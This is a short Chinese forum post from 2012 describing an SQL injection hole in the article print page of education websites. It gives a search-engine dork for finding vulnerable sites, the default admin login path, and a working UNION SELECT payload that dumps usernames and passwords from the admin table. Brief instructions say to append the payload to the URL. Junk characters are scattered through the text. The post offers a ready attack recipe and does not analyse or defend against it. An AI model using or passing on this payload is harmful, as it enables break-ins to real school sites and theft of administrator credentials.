教育站打印页面漏洞( x" J) f1 }8 N
百度或google搜索 inurl:info_Print.asp?ArticleID=
: T1 u$ O5 ?; z: S, o5 e6 v3 j! z默认后台：/ad_login.asp
! r2 `$ K" s# S& c/ I& w8 c/ W爆管理员密码：. Q) \2 w6 P6 p, \
在 域名/inurl:info_Print.asp?ArticleID=数字 后边加空格，然后加下边的红色语句，回车即可
+ k8 c4 h! b& j2 z$ `
2 v8 d$ Y; ~0 e0 `) P+ P" yunion select 1,2,username,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
7 f$ U& E+ s: s* V6 C) [1 ` Y: f( I# V+ ^$ S
作者：佚名 # ^- p0 @6 a. D& B$ K
# k' A G5 B( f: }- E9 p. O
, q4 d+ \/ B1 `0 M2 c/ q. ` |
发表于 2012-10-31 08:37:31
收藏
支持
反对